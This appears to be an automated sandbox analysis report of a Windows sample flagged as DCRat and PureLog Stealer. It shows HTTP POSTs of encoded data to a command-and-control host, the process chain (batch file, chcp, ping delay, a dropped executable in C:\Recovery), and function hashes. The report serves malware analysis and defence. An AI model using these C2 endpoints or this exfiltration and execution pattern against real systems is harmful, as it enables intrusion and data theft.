Dec 21, 2024 11:09:10.869347095 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:09:11.108933926 CET	808	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:09:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0sIIWLX9iTlhJ7lvdTGe%2BMh3cG6xcMMrv5xAGfMh264YE2v6WQC6Fl9uiI6XtHO5IAuAnyE3RMVM954zoUZvT9l6rA%2BPIB2dTXbiuk6ZADfBhsIdNVjsCW4FPMRniji%2BlBbjlSEODtc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f571339ee8a42d0-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=3370&min_rtt=2179&rtt_var=3200&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=124658&cwnd=206&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49969	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:09:11.131468058 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 1720 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:09:11.478643894 CET	1720	OUT	Data Raw: 59 5b 43 52 5a 5a 50 58 54 5d 59 5a 55 58 57 55 56 5c 5c 5b 52 5e 5b 5e 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: Y[CRZZPXT]YZUXWUV\\[R^[^YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\"=+?8U(>+5Y%86**8+"<<<]468%='[$.Y!/
Dec 21, 2024 11:09:12.216967106 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:09:12.456002951 CET	962	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:09:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y7ohsR4GI%2BMy2%2Bz%2Fh8xEfJYgvMXMHX1OJwyXkY8VvyHROYZJVmYGLyH6DF2m8yqmeAF4qn5butiAtggEh4vS6OSXKjo33w7JhCqVtBgXd5mwU%2FGCi%2F4G8q8bsE32gcLVCwqTMWAMS%2FQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5713425ff59e04-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=4670&min_rtt=2005&rtt_var=6083&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2023&delivery_rate=62580&cwnd=235&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0f 13 39 5e 24 05 35 03 29 00 3f 13 3f 3c 29 54 3c 5a 3e 5d 2f 54 26 02 24 30 23 06 2c 12 07 52 3c 0d 3d 5b 2b 5b 3b 0c 2b 09 27 5b 29 28 2e 58 03 11 24 58 22 04 3f 1d 29 28 32 0b 39 28 26 05 37 03 2f 5d 2d 06 0f 57 25 10 08 1e 35 04 01 51 2f 0f 01 0e 2c 29 0e 07 31 19 27 56 31 3e 2e 53 0c 16 21 00 28 3d 21 59 26 2f 07 52 24 51 36 1e 20 25 2c 1b 22 38 27 09 24 3c 26 5b 24 07 20 56 3f 0e 0f 52 3c 59 22 43 3c 03 39 1b 3c 2b 26 55 2e 01 22 53 04 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 989^$5)??<)T<Z>]/T&$0#,R<=[+[;+'[)(.X$X"?)(29(&7/]-W%5Q/,)1'V1>.S!(=!Y&/R$Q6 %,"8'$<&[$ V?R<Y"C<9<+&U."S=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49971	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:09:11.251854897 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:09:11.603615999 CET	2292	OUT	Data Raw: 5c 5f 43 5c 5f 5a 55 59 54 5d 59 5a 55 5c 57 52 56 50 5c 5e 52 53 5b 5b 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: \_C\_ZUYT]YZU\WRVP\^RS[[YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\"=[-<T?<<&&*=,<=.< P(] \! 2-'[$.Y!3
Dec 21, 2024 11:09:12.336841106 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:09:12.583122969 CET	808	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:09:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FQMG0q7tR6%2Bm5XQzy5fV%2F26As4yDgrtZQDdUxiGhOE8UqYiwnYLYA6QMgX5YxdxgT5PisbnWkqmrOgbPx4PPewkTNX7eV51ogrJGw5z0B8nbKGm8L8Qjq8RtzmLQGLfOrZrb12vxKqg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5713431c66ef9d-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=3383&min_rtt=2040&rtt_var=3452&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=114160&cwnd=120&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49975	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:09:12.830360889 CET	279	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue
Dec 21, 2024 11:09:13.184448004 CET	2292	OUT	Data Raw: 5c 59 43 53 5a 5a 50 5e 54 5d 59 5a 55 5d 57 5e 56 58 5c 5e 52 51 5b 56 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: \YCSZZP^T]YZU]W^VX\^RQ[VYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!D*=&^<, ?>,(?>$+)V)/X<!(0< 6U1'[$.Y!7
Dec 21, 2024 11:09:13.916673899 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:09:14.160003901 CET	805	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:09:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xt%2FYwGULyGynh%2FfWqtXK4zDnALlYxoz7DAkXveH5PFvxGL5qMDwBw0O%2Bedghp32dxFJCGKpEc3flnJnTATz158Clz2lp3F29E08iD0FYH2dD8XnFvVrfTy8aEJtXcb%2FN2QtzPlB0Lkc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f57134cffd0427f-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=6959&min_rtt=1734&rtt_var=11100&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2571&delivery_rate=33537&cwnd=238&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a Data Ascii: 4=[@W
Dec 21, 2024 11:09:14.351705074 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	05:07:08
Start date:	21/12/2024
Path:	C:\Users\user\Desktop\6G8OR42xrB.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\6G8OR42xrB.exe"
Imagebase:	0x530000
File size:	26'710'528 bytes
MD5 hash:	B9C8DEE5E0470B21D27B1A70AFE25495
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000000.1694048075.0000000000532000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000000.00000002.1784811145.0000000012B01000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	05:07:16
Start date:	21/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\FAUFRY6lcW.bat"
Imagebase:	0x7ff6004b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:07:16
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:07:16
Start date:	21/12/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff760300000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:07:16
Start date:	21/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping -n 10 localhost
Imagebase:	0x7ff6734b0000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:07:26
Start date:	21/12/2024
Path:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
Wow64 process (32bit):	false
Commandline:	"C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe"
Imagebase:	0x4c0000
File size:	26'710'528 bytes
MD5 hash:	B9C8DEE5E0470B21D27B1A70AFE25495
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000006.00000002.2943874240.00000000031C5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000006.00000002.2943874240.0000000002EFD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000006.00000002.2943874240.0000000002B39000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 66%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	9.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	4
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9B890D48 Relevance: 1.5, Strings: 1, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

5Z_H, xrefs: 00007FFD9B890DF3

Memory Dump Source

Source File: 00000000.00000002.1800615070.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_6G8OR42xrB.jbxd

Similarity

API ID:
String ID: 5Z_H
API String ID: 0-3267294416
Opcode ID: f594838b3358812b4e8667689249269f500ab50cad72747cd9bb8cbb80535522
Instruction ID: 71f27a89994149c9deebcdc2cdba56232690b90ac84358b8061da58d95ca8e70
Opcode Fuzzy Hash: f594838b3358812b4e8667689249269f500ab50cad72747cd9bb8cbb80535522
Instruction Fuzzy Hash: 12911671A19A9D8FEB99DB6888757A8BFF1FB59340F4000BFD049C72E6DA781401C741

Function 00007FFD9BC8A74F Relevance: .7, Instructions: 738COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1806466377.00007FFD9BC80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bc80000_6G8OR42xrB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79f60623a55dd26e0bdfa2f88ed7cbdb865f1edae850a3976a526e388f5fa494
Instruction ID: b0e8bdf3f99817220aabc1cf4a2d6e64fa48c53435cb3b6c237d371a0923a5e6
Opcode Fuzzy Hash: 79f60623a55dd26e0bdfa2f88ed7cbdb865f1edae850a3976a526e388f5fa494
Instruction Fuzzy Hash: C252BF30A19A4D8FEB6DCF68C4A06BD77A1FF58300F5141BDE45EC7696DA38A981CB40

Function 00007FFD9B890B3F Relevance: 3.8, Strings: 3, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

"s9, xrefs: 00007FFD9B890B46
!k9, xrefs: 00007FFD9B890B4E
c9, xrefs: 00007FFD9B890B56

Memory Dump Source

Source File: 00000000.00000002.1800615070.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_6G8OR42xrB.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9
API String ID: 0-3426396564
Opcode ID: 91ec536aee670f6a36a6bb2640cb100de2ef095593741205322480c1ef2e3c3a
Instruction ID: 409c0f8700c5eeb014645b509effeaafbd272b9c412ce78ea90fa9f3743fed24
Opcode Fuzzy Hash: 91ec536aee670f6a36a6bb2640cb100de2ef095593741205322480c1ef2e3c3a
Instruction Fuzzy Hash: E2F02D3B769A6A8BC7106B7DFC502D8BB80EB95177F9502BBC544C7292F200145EC3C0

Function 00007FFD9BFDB9A1 Relevance: 1.8, APIs: 1, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

QueryFullProcessImageNameA.KERNELBASE ref: 00007FFD9BFDBB51

Memory Dump Source

Source File: 00000000.00000002.1810355179.00007FFD9BFD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bfd0000_6G8OR42xrB.jbxd

Similarity

API ID: FullImageNameProcessQuery
String ID:
API String ID: 3578328331-0
Opcode ID: b4ee392840386a0d82534a571f6ed45ecc1751017b3449f0f979a88247fe92c0
Instruction ID: 3b3e01aa248492bda0e985c874f1c88d4ce4592a96948c4235c3fdafb8273bbb
Opcode Fuzzy Hash: b4ee392840386a0d82534a571f6ed45ecc1751017b3449f0f979a88247fe92c0
Instruction Fuzzy Hash: E971AF30608A8C4FDB68DF28D8567F977E1FB68311F14427EE84EC7292CB75A9418B81

Function 00007FFD9BC8A002 Relevance: 1.6, Strings: 1, Instructions: 332
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

#F, xrefs: 00007FFD9BC8A1D0

Memory Dump Source

Source File: 00000000.00000002.1806466377.00007FFD9BC80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bc80000_6G8OR42xrB.jbxd

Similarity

API ID:
String ID: #F
API String ID: 0-3307669336
Opcode ID: feb2a07d75e4f9f97a3fd4989c5fe33f4931647a4a2472e9cd92744bd55d4c24
Instruction ID: c7a467d397ab07f7908282104b6dde98a8d5710215004a41dcd91e3dd89f6c51
Opcode Fuzzy Hash: feb2a07d75e4f9f97a3fd4989c5fe33f4931647a4a2472e9cd92744bd55d4c24
Instruction Fuzzy Hash: 7EC1C330B09E4E8FE769DB68C0A16A8B7A1FF59300F55417DD04EC7AA6DB38B951C780

Function 00007FFD9BC85055 Relevance: 1.5, Strings: 1, Instructions: 289
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

A, xrefs: 00007FFD9BC850C7, 00007FFD9BC85167

Memory Dump Source

Source File: 00000000.00000002.1806466377.00007FFD9BC80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bc80000_6G8OR42xrB.jbxd

Similarity

API ID:
String ID: A
API String ID: 0-2078354741
Opcode ID: f7bfcd13d39460ff49a9530b2d4d7062929e75c46cfde920a09b49dc1645fcf3
Instruction ID: 0beb07819ebd0b5dd6dba299811c9c375a8c4d2d0d4b617199aef3c6c6fc6219
Opcode Fuzzy Hash: f7bfcd13d39460ff49a9530b2d4d7062929e75c46cfde920a09b49dc1645fcf3
Instruction Fuzzy Hash: 53B1D3706199598FEB59CF68C0E05B837B1FF44310B6542BDC85B8B69BCA78F981CB80

Function 00007FFD9BC8A4D8 Relevance: 1.4, Strings: 1, Instructions: 160
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00007FFD9BC8A552

Memory Dump Source

Source File: 00000000.00000002.1806466377.00007FFD9BC80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bc80000_6G8OR42xrB.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: d9451d3b3d91300f5b7a2cf95b69b9f3e95d6253bd7ec0891247d11f17dd154b
Instruction ID: b5aaa2bfcd90054af94d9b2732f968280683a91684a2debc98be4b681ec221c9
Opcode Fuzzy Hash: d9451d3b3d91300f5b7a2cf95b69b9f3e95d6253bd7ec0891247d11f17dd154b
Instruction Fuzzy Hash: 4C515F71E0994E9FDB58DBA8D4645BDB7B1FF54300F1141BEE01EE7296DA386A01CB40

Function 00007FFD9BC84CC8 Relevance: 1.4, Strings: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00007FFD9BC84D42

Memory Dump Source

Source File: 00000000.00000002.1806466377.00007FFD9BC80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bc80000_6G8OR42xrB.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 59275371809a7a4d2cbace824202f621bf1e45d53c71f94e4aca7028a0dbf232
Instruction ID: d81b3b21504c2ffe81912d05cfe4d676945665e56d609d67c04dcc5f2935cd47
Opcode Fuzzy Hash: 59275371809a7a4d2cbace824202f621bf1e45d53c71f94e4aca7028a0dbf232
Instruction Fuzzy Hash: 73518231E0994E9FDB69DBA8D4605FDBBB1FF45300F1141BED01AE7296DA386A42CB40

Function 00007FFD9BC89005 Relevance: 1.4, Strings: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

#$, xrefs: 00007FFD9BC89094

Memory Dump Source

Source File: 00000000.00000002.1806466377.00007FFD9BC80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bc80000_6G8OR42xrB.jbxd

Similarity

API ID:
String ID: #$
API String ID: 0-1721435948
Opcode ID: 12768218062a4b26365666835b9de883de01737fa1fd33b6b2b7731a883aea5a
Instruction ID: 5f6ff9792d30ddd72202484bb42028b7cae3d8401a06a36155528f4b855a205a
Opcode Fuzzy Hash: 12768218062a4b26365666835b9de883de01737fa1fd33b6b2b7731a883aea5a
Instruction Fuzzy Hash: DA310771B0DA4D4FEB6996B84C662ACB7A1FF58310F05017AD11DC71E2DEA869024381

Function 00007FFD9BC87F23 Relevance: 1.3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

#$, xrefs: 00007FFD9BC87F8A

Memory Dump Source

Source File: 00000000.00000002.1806466377.00007FFD9BC80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bc80000_6G8OR42xrB.jbxd

Similarity

API ID:
String ID: #$
API String ID: 0-1721435948
Opcode ID: 744f110e0f06891e4fd7a1dca26af10a6ab4d378145677d486d1edbcc5aba0bd
Instruction ID: 2dae13228be8b7cb52160411fa195e67e886f3af8cd6f62479e51a202cd3c741
Opcode Fuzzy Hash: 744f110e0f06891e4fd7a1dca26af10a6ab4d378145677d486d1edbcc5aba0bd
Instruction Fuzzy Hash: 83112630A1991D8FDF9CDB68C465ABCB3A1EF58310F4040BED04EE36A1DE35A9418B00

Function 00007FFD9BC82C70 Relevance: .7, Instructions: 688COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1806466377.00007FFD9BC80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bc80000_6G8OR42xrB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a93a49f2ecb8d06423440f1a4ef9854cf3c4e99a0b95ff7a52e02952d324e4d7
Instruction ID: 482682aa8b2230be37be849cd1dc566f4e8b08be43c1c7fbfb95085a282efcfe
Opcode Fuzzy Hash: a93a49f2ecb8d06423440f1a4ef9854cf3c4e99a0b95ff7a52e02952d324e4d7
Instruction Fuzzy Hash: 3D329730B19A1D8FDBA8DB58C869A7877E2FF94311B5141B9D00EC72A2DF34AD45CB81

Function 00007FFD9BC8CCE9 Relevance: .4, Instructions: 410COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1806466377.00007FFD9BC80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bc80000_6G8OR42xrB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99ecc24f4a5758735f55a7425c1c38bacbe36554e22152c3bf136310c59460c2
Instruction ID: fb25e07ea72ad35bfa50337a5bd5377e85b3cac6d533a7c436bdb2cffb058955
Opcode Fuzzy Hash: 99ecc24f4a5758735f55a7425c1c38bacbe36554e22152c3bf136310c59460c2
Instruction Fuzzy Hash: 09511B22B0E99E9BE72666B8A8215FD3760EF82321F15007BD45EC70E3D92839468791

Function 00007FFD9BC8D162 Relevance: .4, Instructions: 386COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1806466377.00007FFD9BC80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bc80000_6G8OR42xrB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbf40968e9854c598f174a2cac3cd965bf5c6249287070130637ef62fc3ab268
Instruction ID: 0e760aa75898b1a1d1061cfd759ded4e33662ea0c652ad03c6b273d532980f3f
Opcode Fuzzy Hash: fbf40968e9854c598f174a2cac3cd965bf5c6249287070130637ef62fc3ab268
Instruction Fuzzy Hash: C751F756F0E96B97F63A76FDB8298FC1740EFC0336B05017BD14D8A0EA9C68394653A1

Function 00007FFD9BC8A76F Relevance: .3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1806466377.00007FFD9BC80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bc80000_6G8OR42xrB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d2a283527dfd13f4322a9551881168bf6202b193a76dc98a98b203d001966b4
Instruction ID: 0894f26d28bd94b16c21dde0752ad9f7f61649a11e85e1eaad1cbdb5af9cc865
Opcode Fuzzy Hash: 3d2a283527dfd13f4322a9551881168bf6202b193a76dc98a98b203d001966b4
Instruction Fuzzy Hash: EBC1D33061994A8FEB1DCF64C0E06B937A1FF45310B5545BDD84B8B69BDA38F982CB84

Function 00007FFD9BC847F2 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1806466377.00007FFD9BC80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bc80000_6G8OR42xrB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e25df532a8ef5dbeeabb2c2fff25ad3b232d11c218351882d33aaa7a4cc8d175
Instruction ID: 3086dd0799123ebf374262415d45594c31b78a58d20dee340555587630ab9254
Opcode Fuzzy Hash: e25df532a8ef5dbeeabb2c2fff25ad3b232d11c218351882d33aaa7a4cc8d175
Instruction Fuzzy Hash: 25B1E530B09E4AAFE759DB68D4A06A8B7A1FF58300F45417EC04EC7A96DB38B951C784

Function 00007FFD9BC821FA Relevance: .3, Instructions: 306COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1806466377.00007FFD9BC80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bc80000_6G8OR42xrB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28e33fd9482f2276dde00f835debba33519549de26620214d7ccf26121a296ea
Instruction ID: 954fb76fdfa38d0b3b847d482dcee6ad74fefdcce7d45ded2620d2bc0ada0a63
Opcode Fuzzy Hash: 28e33fd9482f2276dde00f835debba33519549de26620214d7ccf26121a296ea
Instruction Fuzzy Hash: 6B21F652F0FD9B87F73956F8283A1FC57409F94321F1A0577C48D8E0E2DD6C2A8652A2

Function 00007FFD9BC8D1F7 Relevance: .3, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1806466377.00007FFD9BC80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bc80000_6G8OR42xrB.jbxd

